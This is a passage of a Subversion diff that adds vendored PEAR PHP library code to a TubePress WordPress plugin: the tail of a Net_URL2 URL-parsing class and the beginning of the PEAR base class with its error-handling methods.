+     * scheme specified, i.e. if this is a relative URL.
+     *
+     * @return  string|bool
+     */
+    public function getScheme()
+    {
+        return $this->scheme;
+    }
+
+    /**
+     * @param string|bool $scheme
+     *
+     * @return void
+     * @see    getScheme()
+     */
+    public function setScheme($scheme)
+    {
+        $this->scheme = $scheme;
+    }
+
+    /**
+     * Returns the user part of the userinfo part (the part preceding the first
+     *  ":"), or false if there is no userinfo part.
+     *
+     * @return  string|bool
+     */
+    public function getUser()
+    {
+        return $this->userinfo !== false ? preg_replace('@:.*$@', '', $this->userinfo) : false;
+    }
+
+    /**
+     * Returns the password part of the userinfo part (the part after the first
+     *  ":"), or false if there is no userinfo part (i.e. the URL does not
+     * contain "@" in front of the hostname) or the userinfo part does not
+     * contain ":".
+     *
+     * @return  string|bool
+     */
+    public function getPassword()
+    {
+        return $this->userinfo !== false ? substr(strstr($this->userinfo, ':'), 1) : false;
+    }
+
+    /**
+     * Returns the userinfo part, or false if there is none, i.e. if the
+     * authority part does not contain "@".
+     *
+     * @return  string|bool
+     */
+    public function getUserinfo()
+    {
+        return $this->userinfo;
+    }
+
+    /**
+     * Sets the userinfo part. If two arguments are passed, they are combined
+     * in the userinfo part as username ":" password.
+     *
+     * @param string|bool $userinfo userinfo or username
+     * @param string|bool $password
+     *
+     * @return void
+     */
+    public function setUserinfo($userinfo, $password = false)
+    {
+        $this->userinfo = $userinfo;
+        if ($password !== false) {
+            $this->userinfo .= ':' . $password;
+        }
+    }
+
+    /**
+     * Returns the host part, or false if there is no authority part, e.g.
+     * relative URLs.
+     *
+     * @return  string|bool
+     */
+    public function getHost()
+    {
+        return $this->host;
+    }
+
+    /**
+     * @param string|bool $host
+     *
+     * @return void
+     */
+    public function setHost($host)
+    {
+        $this->host = $host;
+    }
+
+    /**
+     * Returns the port number, or false if there is no port number specified,
+     * i.e. if the default port is to be used.
+     *
+     * @return  int|bool
+     */
+    public function getPort()
+    {
+        return $this->port;
+    }
+
+    /**
+     * @param int|bool $port
+     *
+     * @return void
+     */
+    public function setPort($port)
+    {
+        $this->port = intval($port);
+    }
+
+    /**
+     * Returns the authority part, i.e. [ userinfo "@" ] host [ ":" port ], or
+     * false if there is no authority none.
+     *
+     * @return string|bool
+     */
+    public function getAuthority()
+    {
+        if (!$this->host) {
+            return false;
+        }
+
+        $authority = '';
+
+        if ($this->userinfo !== false) {
+            $authority .= $this->userinfo . '@';
+        }
+
+        $authority .= $this->host;
+
+        if ($this->port !== false) {
+            $authority .= ':' . $this->port;
+        }
+
+        return $authority;
+    }
+
+    /**
+     * @param string|false $authority
+     *
+     * @return void
+     */
+    public function setAuthority($authority)
+    {
+        $this->user = false;
+        $this->pass = false;
+        $this->host = false;
+        $this->port = false;
+        if (preg_match('@^(([^\@]+)\@)?([^:]+)(:(\d*))?$@', $authority, $reg)) {
+            if ($reg[1]) {
+                $this->userinfo = $reg[2];
+            }
+
+            $this->host = $reg[3];
+            if (isset($reg[5])) {
+                $this->port = intval($reg[5]);
+            }
+        }
+    }
+
+    /**
+     * Returns the path part (possibly an empty string).
+     *
+     * @return string
+     */
+    public function getPath()
+    {
+        return $this->path;
+    }
+
+    /**
+     * @param string $path
+     *
+     * @return void
+     */
+    public function setPath($path)
+    {
+        $this->path = $path;
+    }
+
+    /**
+     * Returns the query string (excluding the leading "?"), or false if "?"
+     * isn't present in the URL.
+     *
+     * @return  string|bool
+     * @see     self::getQueryVariables()
+     */
+    public function getQuery()
+    {
+        return $this->query;
+    }
+
+    /**
+     * @param string|bool $query
+     *
+     * @return void
+     * @see   self::setQueryVariables()
+     */
+    public function setQuery($query)
+    {
+        $this->query = $query;
+    }
+
+    /**
+     * Returns the fragment name, or false if "#" isn't present in the URL.
+     *
+     * @return  string|bool
+     */
+    public function getFragment()
+    {
+        return $this->fragment;
+    }
+
+    /**
+     * @param string|bool $fragment
+     *
+     * @return void
+     */
+    public function setFragment($fragment)
+    {
+        $this->fragment = $fragment;
+    }
+
+    /**
+     * Returns the query string like an array as the variables would appear in
+     * $_GET in a PHP script.
+     *
+     * @return  array
+     */
+    public function getQueryVariables()
+    {
+        $pattern = '/[' .
+                   preg_quote($this->getOption(self::OPTION_SEPARATOR_INPUT), '/') .
+                   ']/';
+        $parts   = preg_split($pattern, $this->query, -1, PREG_SPLIT_NO_EMPTY);
+        $return  = array();
+
+        foreach ($parts as $part) {
+            if (strpos($part, '=') !== false) {
+                list($key, $value) = explode('=', $part, 2);
+            } else {
+                $key   = $part;
+                $value = null;
+            }
+
+            if ($this->getOption(self::OPTION_ENCODE_KEYS)) {
+                $key = rawurldecode($key);
+            }
+            $value = rawurldecode($value);
+
+            if ($this->getOption(self::OPTION_USE_BRACKETS) &&
+                preg_match('#^(.*)\[([0-9a-z_-]*)\]#i', $key, $matches)) {
+
+                $key = $matches[1];
+                $idx = $matches[2];
+
+                // Ensure is an array
+                if (empty($return[$key]) || !is_array($return[$key])) {
+                    $return[$key] = array();
+                }
+
+                // Add data
+                if ($idx === '') {
+                    $return[$key][] = $value;
+                } else {
+                    $return[$key][$idx] = $value;
+                }
+            } elseif (!$this->getOption(self::OPTION_USE_BRACKETS)
+                      && !empty($return[$key])
+            ) {
+                $return[$key]   = (array) $return[$key];
+                $return[$key][] = $value;
+            } else {
+                $return[$key] = $value;
+            }
+        }
+
+        return $return;
+    }
+
+    /**
+     * @param array $array (name => value) array
+     *
+     * @return void
+     */
+    public function setQueryVariables($array)
+    {
+        if (!$array) {
+            $this->query = false;
+        } else {
+            foreach ($array as $name => $value) {
+                if ($this->getOption(self::OPTION_ENCODE_KEYS)) {
+                    $name = rawurlencode($name);
+                }
+
+                if (is_array($value)) {
+                    foreach ($value as $k => $v) {
+                        $parts[] = $this->getOption(self::OPTION_USE_BRACKETS)
+                            ? sprintf('%s[%s]=%s', $name, $k, $v)
+                            : ($name . '=' . $v);
+                    }
+                } elseif (!is_null($value)) {
+                    $parts[] = $name . '=' . rawurlencode($value);
+                } else {
+                    $parts[] = $name;
+                }
+            }
+            $this->query = implode($this->getOption(self::OPTION_SEPARATOR_OUTPUT),
+                                   $parts);
+        }
+    }
+
+    /**
+     * @param string $name
+     * @param mixed  $value
+     *
+     * @return  array
+     */
+    public function setQueryVariable($name, $value)
+    {
+        $array = $this->getQueryVariables();
+        $array[$name] = $value;
+        $this->setQueryVariables($array);
+    }
+
+    /**
+     * @param string $name
+     *
+     * @return void
+     */
+    public function unsetQueryVariable($name)
+    {
+        $array = $this->getQueryVariables();
+        unset($array[$name]);
+        $this->setQueryVariables($array);
+    }
+
+    /**
+     * Returns a string representation of this URL.
+     *
+     * @return  string
+     */
+    public function getURL($encodeAmpersands = false)
+    {
+        // See RFC 3986, section 5.3
+        $url = "";
+
+        if ($this->scheme !== false) {
+            $url .= $this->scheme . ':';
+        }
+
+        $authority = $this->getAuthority();
+        if ($authority !== false) {
+            $url .= '//' . $authority;
+        }
+        $url .= $this->path;
+
+        if ($this->query !== false) {
+            $url .= '?' . $this->query;
+        }
+
+        if ($this->fragment !== false) {
+            $url .= '#' . $this->fragment;
+        }
+    
+        if ($encodeAmpersands) {
+        	return str_replace("&", "&amp;", $url);
+        }
+        return $url;
+    }
+
+    /** 
+     * Returns a normalized string representation of this URL. This is useful
+     * for comparison of URLs.
+     *
+     * @return  string
+     */
+    public function getNormalizedURL()
+    {
+        $url = clone $this;
+        $url->normalize();
+        return $url->getUrl();
+    }
+
+    /** 
+     * Returns a normalized net_php_pear_Net_URL2 instance.
+     *
+     * @return  net_php_pear_Net_URL2
+     */
+    public function normalize()
+    {
+        // See RFC 3886, section 6
+
+        // Schemes are case-insensitive
+        if ($this->scheme) {
+            $this->scheme = strtolower($this->scheme);
+        }
+
+        // Hostnames are case-insensitive
+        if ($this->host) {
+            $this->host = strtolower($this->host);
+        }
+
+        // Remove default port number for known schemes (RFC 3986, section 6.2.3)
+        if ($this->port &&
+            $this->scheme &&
+            $this->port == getservbyname($this->scheme, 'tcp')) {
+
+            $this->port = false;
+        }
+
+        // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
+        foreach (array('userinfo', 'host', 'path') as $part) {
+            if ($this->$part) {
+                $this->$part  = preg_replace('/%[0-9a-f]{2}/ie', 'strtoupper("\0")', $this->$part);
+            }
+        }
+
+        // Path segment normalization (RFC 3986, section 6.2.2.3)
+        $this->path = self::removeDotSegments($this->path);
+
+        // Scheme based normalization (RFC 3986, section 6.2.3)
+        if ($this->host && !$this->path) {
+            $this->path = '/';
+        }
+    }
+
+    /**
+     * Returns whether this instance represents an absolute URL.
+     *
+     * @return  bool
+     */
+    public function isAbsolute()
+    {
+        return (bool) $this->scheme;
+    }
+
+    /**
+     * Returns an net_php_pear_Net_URL2 instance representing an absolute URL relative to
+     * this URL.
+     *
+     * @param net_php_pear_Net_URL2|string $reference relative URL
+     *
+     * @return net_php_pear_Net_URL2
+     */
+    public function resolve($reference)
+    {
+        if (is_string($reference)) {
+            $reference = new self($reference);
+        }
+        if (!$this->isAbsolute()) {
+            throw new Exception('Base-URL must be absolute');
+        }
+
+        // A non-strict parser may ignore a scheme in the reference if it is
+        // identical to the base URI's scheme.
+        if (!$this->getOption(self::OPTION_STRICT) && $reference->scheme == $this->scheme) {
+            $reference->scheme = false;
+        }
+
+        $target = new self('');
+        if ($reference->scheme !== false) {
+            $target->scheme = $reference->scheme;
+            $target->setAuthority($reference->getAuthority());
+            $target->path  = self::removeDotSegments($reference->path);
+            $target->query = $reference->query;
+        } else {
+            $authority = $reference->getAuthority();
+            if ($authority !== false) {
+                $target->setAuthority($authority);
+                $target->path  = self::removeDotSegments($reference->path);
+                $target->query = $reference->query;
+            } else {
+                if ($reference->path == '') {
+                    $target->path = $this->path;
+                    if ($reference->query !== false) {
+                        $target->query = $reference->query;
+                    } else {
+                        $target->query = $this->query;
+                    }
+                } else {
+                    if (substr($reference->path, 0, 1) == '/') {
+                        $target->path = self::removeDotSegments($reference->path);
+                    } else {
+                        // Merge paths (RFC 3986, section 5.2.3)
+                        if ($this->host !== false && $this->path == '') {
+                            $target->path = '/' . $this->path;
+                        } else {
+                            $i = strrpos($this->path, '/');
+                            if ($i !== false) {
+                                $target->path = substr($this->path, 0, $i + 1);
+                            }
+                            $target->path .= $reference->path;
+                        }
+                        $target->path = self::removeDotSegments($target->path);
+                    }
+                    $target->query = $reference->query;
+                }
+                $target->setAuthority($this->getAuthority());
+            }
+            $target->scheme = $this->scheme;
+        }
+
+        $target->fragment = $reference->fragment;
+
+        return $target;
+    }
+
+    /**
+     * Removes dots as described in RFC 3986, section 5.2.4, e.g.
+     * "/foo/../bar/baz" => "/bar/baz"
+     *
+     * @param string $path a path
+     *
+     * @return string a path
+     */
+    private static function removeDotSegments($path)
+    {
+        $output = '';
+
+        // Make sure not to be trapped in an infinite loop due to a bug in this
+        // method
+        $j = 0; 
+        while ($path && $j++ < 100) {
+            // Step A
+            if (substr($path, 0, 2) == './') {
+                $path = substr($path, 2);
+            } elseif (substr($path, 0, 3) == '../') {
+                $path = substr($path, 3);
+
+            // Step B
+            } elseif (substr($path, 0, 3) == '/./' || $path == '/.') {
+                $path = '/' . substr($path, 3);
+
+            // Step C
+            } elseif (substr($path, 0, 4) == '/../' || $path == '/..') {
+                $path = '/' . substr($path, 4);
+                $i = strrpos($output, '/');
+                $output = $i === false ? '' : substr($output, 0, $i);
+
+            // Step D
+            } elseif ($path == '.' || $path == '..') {
+                $path = '';
+
+            // Step E
+            } else {
+                $i = strpos($path, '/');
+                if ($i === 0) {
+                    $i = strpos($path, '/', 1);
+                }
+                if ($i === false) {
+                    $i = strlen($path);
+                }
+                $output .= substr($path, 0, $i);
+                $path = substr($path, $i);
+            }
+        }
+
+        return $output;
+    }
+
+    /**
+     * Returns a net_php_pear_Net_URL2 instance representing the canonical URL of the
+     * currently executing PHP script.
+     * 
+     * @return  string
+     */
+    public static function getCanonical()
+    {
+        if (!isset($_SERVER['REQUEST_METHOD'])) {
+            // ALERT - no current URL
+            throw new Exception('Script was not called through a webserver');
+        }
+
+        // Begin with a relative URL
+        $url = new self($_SERVER['PHP_SELF']);
+        $url->scheme = isset($_SERVER['HTTPS']) ? 'https' : 'http';
+        $url->host = $_SERVER['SERVER_NAME'];
+        $port = intval($_SERVER['SERVER_PORT']);
+        if ($url->scheme == 'http' && $port != 80 ||
+            $url->scheme == 'https' && $port != 443) {
+
+            $url->port = $port;
+        }
+        return $url;
+    }
+
+    /**
+     * Returns the URL used to retrieve the current request.
+     *
+     * @return  string
+     */
+    public static function getRequestedURL()
+    {
+        return self::getRequested()->getUrl();
+    }
+
+    /**
+     * Returns a net_php_pear_Net_URL2 instance representing the URL used to retrieve the
+     * current request.
+     *
+     * @return  net_php_pear_Net_URL2
+     */
+    public static function getRequested()
+    {
+        if (!isset($_SERVER['REQUEST_METHOD'])) {
+            // ALERT - no current URL
+            throw new Exception('Script was not called through a webserver');
+        }
+
+        // Begin with a relative URL
+        $url = new self($_SERVER['REQUEST_URI']);
+        $url->scheme = isset($_SERVER['HTTPS']) ? 'https' : 'http';
+        // Set host and possibly port
+        $url->setAuthority($_SERVER['HTTP_HOST']);
+        return $url;
+    }
+
+    /**
+     * Sets the specified option.
+     *
+     * @param string $optionName a self::OPTION_ constant
+     * @param mixed  $value      option value  
+     *
+     * @return void
+     * @see  self::OPTION_STRICT
+     * @see  self::OPTION_USE_BRACKETS
+     * @see  self::OPTION_ENCODE_KEYS
+     */
+    function setOption($optionName, $value)
+    {
+        if (!array_key_exists($optionName, $this->options)) {
+            return false;
+        }
+        $this->options[$optionName] = $value;
+    }
+
+    /**
+     * Returns the value of the specified option.
+     *
+     * @param string $optionName The name of the option to retrieve
+     *
+     * @return  mixed
+     */
+    function getOption($optionName)
+    {
+        return isset($this->options[$optionName])
+            ? $this->options[$optionName] : false;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/PEAR.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/PEAR.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/PEAR.class.php	(revision 44)
@@ -0,0 +1,1125 @@
+<?php
+/**
+ * PEAR, the PHP Extension and Application Repository
+ *
+ * PEAR class and PEAR_Error class
+ *
+ * PHP versions 4 and 5
+ *
+ * LICENSE: This source file is subject to version 3.0 of the PHP license
+ * that is available through the world-wide-web at the following URI:
+ * http://www.php.net/license/3_0.txt.  If you did not receive a copy of
+ * the PHP License and are unable to obtain it through the web, please
+ * send a note to license@php.net so we can mail you a copy immediately.
+ *
+ * @category   pear
+ * @package    PEAR
+ * @author     Sterling Hughes <sterling@php.net>
+ * @author     Stig Bakken <ssb@php.net>
+ * @author     Tomas V.V.Cox <cox@idecnet.com>
+ * @author     Greg Beaver <cellog@php.net>
+ * @copyright  1997-2008 The PHP Group
+ * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
+ * @version    CVS: $Id: PEAR.php,v 1.104 2008/01/03 20:26:34 cellog Exp $
+ * @link       http://pear.php.net/package/PEAR
+ * @since      File available since Release 0.1
+ */
+
+/**#@+
+ * ERROR constants
+ */
+define('PEAR_ERROR_RETURN',     1);
+define('PEAR_ERROR_PRINT',      2);
+define('PEAR_ERROR_TRIGGER',    4);
+define('PEAR_ERROR_DIE',        8);
+define('PEAR_ERROR_CALLBACK',  16);
+/**
+ * WARNING: obsolete
+ * @deprecated
+ */
+define('PEAR_ERROR_EXCEPTION', 32);
+/**#@-*/
+define('PEAR_ZE2', (function_exists('version_compare') &&
+                    version_compare(zend_version(), "2-dev", "ge")));
+
+if (substr(PHP_OS, 0, 3) == 'WIN') {
+    define('OS_WINDOWS', true);
+    define('OS_UNIX',    false);
+    define('PEAR_OS',    'Windows');
+} else {
+    define('OS_WINDOWS', false);
+    define('OS_UNIX',    true);
+    define('PEAR_OS',    'Unix'); // blatant assumption
+}
+
+// instant backwards compatibility
+if (!defined('PATH_SEPARATOR')) {
+    if (OS_WINDOWS) {
+        define('PATH_SEPARATOR', ';');
+    } else {
+        define('PATH_SEPARATOR', ':');
+    }
+}
+
+$GLOBALS['_PEAR_default_error_mode']     = PEAR_ERROR_RETURN;
+$GLOBALS['_PEAR_default_error_options']  = E_USER_NOTICE;
+$GLOBALS['_PEAR_destructor_object_list'] = array();
+$GLOBALS['_PEAR_shutdown_funcs']         = array();
+$GLOBALS['_PEAR_error_handler_stack']    = array();
+
+@ini_set('track_errors', true);
+
+/**
+ * Base class for other PEAR classes.  Provides rudimentary
+ * emulation of destructors.
+ *
+ * If you want a destructor in your class, inherit PEAR and make a
+ * destructor method called _yourclassname (same name as the
+ * constructor, but with a "_" prefix).  Also, in your constructor you
+ * have to call the PEAR constructor: $this->PEAR();.
+ * The destructor method will be called without parameters.  Note that
+ * at in some SAPI implementations (such as Apache), any output during
+ * the request shutdown (in which destructors are called) seems to be
+ * discarded.  If you need to get any debug information from your
+ * destructor, use error_log(), syslog() or something similar.
+ *
+ * IMPORTANT! To use the emulated destructors you need to create the
+ * objects by reference: $obj =& new PEAR_child;
+ *
+ * @category   pear
+ * @package    PEAR
+ * @author     Stig Bakken <ssb@php.net>
+ * @author     Tomas V.V. Cox <cox@idecnet.com>
+ * @author     Greg Beaver <cellog@php.net>
+ * @copyright  1997-2006 The PHP Group
+ * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
+ * @version    Release: 1.7.2
+ * @link       http://pear.php.net/package/PEAR
+ * @see        PEAR_Error
+ * @since      Class available since PHP 4.0.2
+ * @link        http://pear.php.net/manual/en/core.pear.php#core.pear.pear
+ */
+class net_php_pear_PEAR
+{
+    // {{{ properties
+
+    /**
+     * Whether to enable internal debug messages.
+     *
+     * @var     bool
+     * @access  private
+     */
+    var $_debug = false;
+
+    /**
+     * Default error mode for this object.
+     *
+     * @var     int
+     * @access  private
+     */
+    var $_default_error_mode = null;
+
+    /**
+     * Default error options used for this object when error mode
+     * is PEAR_ERROR_TRIGGER.
+     *
+     * @var     int
+     * @access  private
+     */
+    var $_default_error_options = null;
+
+    /**
+     * Default error handler (callback) for this object, if error mode is
+     * PEAR_ERROR_CALLBACK.
+     *
+     * @var     string
+     * @access  private
+     */
+    var $_default_error_handler = '';
+
+    /**
+     * Which class to use for error objects.
+     *
+     * @var     string
+     * @access  private
+     */
+    var $_error_class = 'PEAR_Error';
+
+    /**
+     * An array of expected errors.
+     *
+     * @var     array
+     * @access  private
+     */
+    var $_expected_errors = array();
+
+    // }}}
+
+    // {{{ constructor
+
+    /**
+     * Constructor.  Registers this object in
+     * $_PEAR_destructor_object_list for destructor emulation if a
+     * destructor object exists.
+     *
+     * @param string $error_class  (optional) which class to use for
+     *        error objects, defaults to PEAR_Error.
+     * @access public
+     * @return void
+     */
+    function net_php_pear_PEAR($error_class = null)
+    {
+        $classname = strtolower(get_class($this));
+        if ($this->_debug) {
+            print "PEAR constructor called, class=$classname\n";
+        }
+        if ($error_class !== null) {
+            $this->_error_class = $error_class;
+        }
+        while ($classname && strcasecmp($classname, "pear")) {
+            $destructor = "_$classname";
+            if (method_exists($this, $destructor)) {
+                global $_PEAR_destructor_object_list;
+                $_PEAR_destructor_object_list[] = &$this;
+                if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) {
+                    register_shutdown_function("_PEAR_call_destructors");
+                    $GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true;
+                }
+                break;
+            } else {
+                $classname = get_parent_class($classname);
+            }
+        }
+    }
+
+    // }}}
+    // {{{ destructor
+
+    /**
+     * Destructor (the emulated type of...).  Does nothing right now,
+     * but is included for forward compatibility, so subclass
+     * destructors should always call it.
+     *
+     * See the note in the class desciption about output from
+     * destructors.
+     *
+     * @access public
+     * @return void
+     */
+    function _PEAR() {
+        if ($this->_debug) {
+            printf("PEAR destructor called, class=%s\n", strtolower(get_class($this)));
+        }
+    }
+
+    // }}}
+    // {{{ getStaticProperty()
+
+    /**
+    * If you have a class that's mostly/entirely static, and you need static
+    * properties, you can use this method to simulate them. Eg. in your method(s)
+    * do this: $myVar = &PEAR::getStaticProperty('myclass', 'myVar');
+    * You MUST use a reference, or they will not persist!
+    *
+    * @access public
+    * @param  string $class  The calling classname, to prevent clashes
+    * @param  string $var    The variable to retrieve.
+    * @return mixed   A reference to the variable. If not set it will be
+    *                 auto initialised to NULL.
+    */
+    function &getStaticProperty($class, $var)
+    {
+        static $properties;
+        if (!isset($properties[$class])) {
+            $properties[$class] = array();
+        }
+        if (!array_key_exists($var, $properties[$class])) {
+            $properties[$class][$var] = null;
+        }
+        return $properties[$class][$var];
+    }
+
+    // }}}
+    // {{{ registerShutdownFunc()
+
+    /**
+    * Use this function to register a shutdown method for static
+    * classes.
+    *
+    * @access public
+    * @param  mixed $func  The function name (or array of class/method) to call
+    * @param  mixed $args  The arguments to pass to the function
+    * @return void
+    */
+    function registerShutdownFunc($func, $args = array())
+    {
+        // if we are called statically, there is a potential
+        // that no shutdown func is registered.  Bug #6445
+        if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) {
+            register_shutdown_function("_PEAR_call_destructors");
+            $GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true;
+        }
+        $GLOBALS['_PEAR_shutdown_funcs'][] = array($func, $args);
+    }
+
+    // }}}
+    // {{{ isError()
+
+    /**
+     * Tell whether a value is a PEAR error.
+     *
+     * @param   mixed $data   the value to test
+     * @param   int   $code   if $data is an error object, return true
+     *                        only if $code is a string and
+     *                        $obj->getMessage() == $code or
+     *                        $code is an integer and $obj->getCode() == $code
+     * @access  public
+     * @return  bool    true if parameter is an error
+     */
+    function isError($data, $code = null)
+    {
+        if (is_a($data, 'PEAR_Error')) {
+            if (is_null($code)) {
+                return true;
+            } elseif (is_string($code)) {
+                return $data->getMessage() == $code;
+            } else {
+                return $data->getCode() == $code;
+            }
+        }
+        return false;
+    }
+
+    // }}}
+    // {{{ setErrorHandling()
+
+    /**
+     * Sets how errors generated by this object should be handled.
+     * Can be invoked both in objects and statically.  If called
+     * statically, setErrorHandling sets the default behaviour for all
+     * PEAR objects.  If called in an object, setErrorHandling sets
+     * the default behaviour for that object.
+     *
+     * @param int $mode
+     *        One of PEAR_ERROR_RETURN, PEAR_ERROR_PRINT,
+     *        PEAR_ERROR_TRIGGER, PEAR_ERROR_DIE,
+     *        PEAR_ERROR_CALLBACK or PEAR_ERROR_EXCEPTION.
+     *
+     * @param mixed $options
+     *        When $mode is PEAR_ERROR_TRIGGER, this is the error level (one
+     *        of E_USER_NOTICE, E_USER_WARNING or E_USER_ERROR).
+     *
+     *        When $mode is PEAR_ERROR_CALLBACK, this parameter is expected
+     *        to be the callback function or method.  A callback
+     *        function is a string with the name of the function, a
+     *        callback method is an array of two elements: the element
+     *        at index 0 is the object, and the element at index 1 is
+     *        the name of the method to call in the object.
+     *
+     *        When $mode is PEAR_ERROR_PRINT or PEAR_ERROR_DIE, this is
+     *        a printf format string used when printing the error
+     *        message.
+     *
+     * @access public
+     * @return void
+     * @see PEAR_ERROR_RETURN
+     * @see PEAR_ERROR_PRINT
+     * @see PEAR_ERROR_TRIGGER
+     * @see PEAR_ERROR_DIE
+     * @see PEAR_ERROR_CALLBACK
+     * @see PEAR_ERROR_EXCEPTION
+     *
+     * @since PHP 4.0.5
+     */
+
+    function setErrorHandling($mode = null, $options = null)
+    {
+        if (isset($this) && is_a($this, 'PEAR')) {
+            $setmode     = &$this->_default_error_mode;
+            $setoptions  = &$this->_default_error_options;
+        } else {
+            $setmode     = &$GLOBALS['_PEAR_default_error_mode'];
+            $setoptions  = &$GLOBALS['_PEAR_default_error_options'];
+        }
+
+        switch ($mode) {
+            case PEAR_ERROR_EXCEPTION:
+            case PEAR_ERROR_RETURN:
+            case PEAR_ERROR_PRINT:
+            case PEAR_ERROR_TRIGGER:
+            case PEAR_ERROR_DIE:
+            case null:
+                $setmode = $mode;
+                $setoptions = $options;
+                break;
+
+            case PEAR_ERROR_CALLBACK:
+                $setmode = $mode;
+                // class/object method callback
+                if (is_callable($options)) {
+                    $setoptions = $options;
+                } else {
+                    trigger_error("invalid error callback", E_USER_WARNING);
+                }
+                break;
+
+            default:
+                trigger_error("invalid error mode", E_USER_WARNING);
+                break;
+        }
+    }
+
+    // }}}
+    // {{{ expectError()
+
+    /**
+     * This method is used to tell which errors you expect to get.
+     * Expected errors are always returned with error mode
+     * PEAR_ERROR_RETURN.  Expected error codes are stored in a stack,
+     * and this method pushes a new element onto it.  The list of
+     * expected errors are in effect until they are popped off the
+     * stack with the popExpect() method.
+     *
+     * Note that this method can not be called statically
+     *
+     * @param mixed $code a single error code or an array of error codes to expect
+     *
+     * @return int     the new depth of the "expected errors" stack
+     * @access public
+     */
+    function expectError($code = '*')
+    {
+        if (is_array($code)) {
+            array_push($this->_expected_errors, $code);
+        } else {
+            array_push($this->_expected_errors, array($code));
+        }
+        return sizeof($this->_expected_errors);
+    }
+
+    // }}}
+    // {{{ popExpect()
+
+    /**
+     * This method pops one element off the expected error codes
+     * stack.
+     *
+     * @return array   the list of error codes that were popped
+     */
+    function popExpect()
+    {
+        return array_pop($this->_expected_errors);
+    }
+
+    // }}}
+    // {{{ _checkDelExpect()
+
+    /**
+     * This method checks unsets an error code if available
+     *
+     * @param mixed error code
+     * @return bool true if the error code was unset, false otherwise
+     * @access private
+     * @since PHP 4.3.0
+     */
+    function _checkDelExpect($error_code)
+    {
+        $deleted = false;
+
+        foreach ($this->_expected_errors AS $key => $error_array) {
+            if (in_array($error_code, $error_array)) {
+                unset($this->_expected_errors[$key][array_search($error_code, $error_array)]);
+                $deleted = true;
+            }
+
+            // clean up empty arrays
+            if (0 == count($this->_expected_errors[$key])) {
+                unset($this->_expected_errors[$key]);
+            }
+        }
+        return $deleted;
+    }
+
+    // }}}
+    // {{{ delExpect()
+
+    /**
+     * This method deletes all occurences of the specified element from
+     * the expected error codes stack.
+     *
+     * @param  mixed $error_code error code that should be deleted
+     * @return mixed list of error codes that were deleted or error
+     * @access public
+     * @since PHP 4.3.0
+     */
+    function delExpect($error_code)
+    {
+        $deleted = false;
+
+        if ((is_array($error_code) && (0 != count($error_code)))) {
+            // $error_code is a non-empty array here;
+            // we walk through it trying to unset all
+            // values
+            foreach($error_code as $key => $error) {
+                if ($this->_checkDelExpect($error)) {
+                    $deleted =  true;
+                } else {
+                    $deleted = false;
+                }
+            }
+            return $deleted ? true : net_php_pear_PEAR::raiseError("The expected error you submitted does not exist"); // IMPROVE ME
+        } elseif (!empty($error_code)) {
+            // $error_code comes alone, trying to unset it
+            if ($this->_checkDelExpect($error_code)) {
+                return true;
+            } else {
+                return net_php_pear_PEAR::raiseError("The expected error you submitted does not exist"); // IMPROVE ME
+            }
+        } else {
+            // $error_code is empty
+            return net_php_pear_PEAR::raiseError("The expected error you submitted is empty"); // IMPROVE ME
+        }
+    }
+
+    // }}}
+    // {{{ raiseError()
+
+    /**
+     * This method is a wrapper that returns an instance of the
+     * configured error class with this object's default error
+     * handling applied.  If the $mode and $options parameters are not
+     * specified, the object's defaults are used.
+     *
+     * @param mixed $message a text error message or a PEAR error object
+     *
+     * @param int $code      a numeric error code (it is up to your class
+     *                  to define these if you want to use codes)
+     *
+     * @param int $mode      One of PEAR_ERROR_RETURN, PEAR_ERROR_PRINT,
+     *                  PEAR_ERROR_TRIGGER, PEAR_ERROR_DIE,
+     *                  PEAR_ERROR_CALLBACK, PEAR_ERROR_EXCEPTION.
+     *
+     * @param mixed $options If $mode is PEAR_ERROR_TRIGGER, this parameter
+     *                  specifies the PHP-internal error level (one of
+     *                  E_USER_NOTICE, E_USER_WARNING or E_USER_ERROR).
+     *                  If $mode is PEAR_ERROR_CALLBACK, this
+     *                  parameter specifies the callback function or
+     *                  method.  In other error modes this parameter
+     *                  is ignored.
+     *
+     * @param string $userinfo If you need to pass along for example debug
+     *                  information, this parameter is meant for that.
+     *
+     * @param string $error_class The returned error object will be
+     *                  instantiated from this class, if specified.
+     *
+     * @param bool $skipmsg If true, raiseError will only pass error codes,
+     *                  the error message parameter will be dropped.
+     *
+     * @access public
+     * @return object   a PEAR error object
+     * @see PEAR::setErrorHandling
+     * @since PHP 4.0.5
+     */
+    function &raiseError($message = null,
+                         $code = null,
+                         $mode = null,
+                         $options = null,
+                         $userinfo = null,
+                         $error_class = null,
+                         $skipmsg = false)
+    {
+        // The error is yet a PEAR error object
+        if (is_object($message)) {
+            $code        = $message->getCode();
+            $userinfo    = $message->getUserInfo();
+            $error_class = $message->getType();
+            $message->error_message_prefix = '';
+            $message     = $message->getMessage();
+        }
+
+        if (isset($this) && isset($this->_expected_errors) && sizeof($this->_expected_errors) > 0 && sizeof($exp = end($this->_expected_errors))) {
+            if ($exp[0] == "*" ||
+                (is_int(reset($exp)) && in_array($code, $exp)) ||
+                (is_string(reset($exp)) && in_array($message, $exp))) {
+                $mode = PEAR_ERROR_RETURN;
+            }
+        }
+        // No mode given, try global ones
+        if ($mode === null) {
+            // Class error handler
+            if (isset($this) && isset($this->_default_error_mode)) {
+                $mode    = $this->_default_error_mode;
+                $options = $this->_default_error_options;
+            // Global error handler
+            } elseif (isset($GLOBALS['_PEAR_default_error_mode'])) {
+                $mode    = $GLOBALS['_PEAR_default_error_mode'];
+                $options = $GLOBALS['_PEAR_default_error_options'];
+            }
+        }
+
+        if ($error_class !== null) {
+            $ec = $error_class;
+        } elseif (isset($this) && isset($this->_error_class)) {
+            $ec = $this->_error_class;
+        } else {
+            $ec = 'PEAR_Error';
+        }
+        if (intval(PHP_VERSION) < 5) {
+            // little non-eval hack to fix bug #12147
+            include 'PEAR/FixPHP5PEARWarnings.php';
+            return $a;
+        }
+        if ($skipmsg) {
